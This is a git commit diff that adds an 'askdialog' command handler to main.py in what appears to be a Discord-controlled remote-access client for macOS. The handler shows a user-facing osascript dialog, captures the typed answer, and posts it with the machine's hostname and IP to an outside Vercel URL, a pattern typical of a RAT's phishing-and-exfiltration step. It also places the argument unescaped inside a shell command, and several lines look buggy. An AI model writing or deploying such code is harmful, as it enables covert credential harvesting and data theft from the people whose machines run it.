diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-08-30 02:04:42 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-08-30 02:04:42 +0800 |
| commit | 313d12d0f9319fbf2621544d525d9d5a2ba0c2b2 (patch) | |
| tree | 7a70d1d9c25df5d910ed67fa3b96a9450c9f5f51 /main.py | |
| parent | 24b82deca2406240f4f56a83fa65fb85bebd0de6 (diff) | |
udpated
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 21 |
1 files changed, 21 insertions, 0 deletions
@@ -223,6 +223,27 @@ while True: except KeyboardInterrupt: continue continue + elif localcmd[1] == 'askdialog' or localcmd[1] == 'asklog' or localcmd == 'question': + if localcmd[2<len(localcmd)]: + r = system(f'osascript -e \'display dialog "{localcmd[2]}" default answer ""\' -e \'text returned of result\' -e \'\'', shell=True, stdout=PIPE, stderr=PIPE) + cmdout, cmderr = r.communicate() + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout.decode()}```") + except: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to ask with dialog```") + except KeyboardInterrupt: + continue + continue + else: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Please do question argument```") + except KeyboardInterrupt: + continue + continue + + + elif localcmd[1] == 'notify' or localcmd[1] == 'notification': if localcmd[4>len(localcmd)]: if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: |
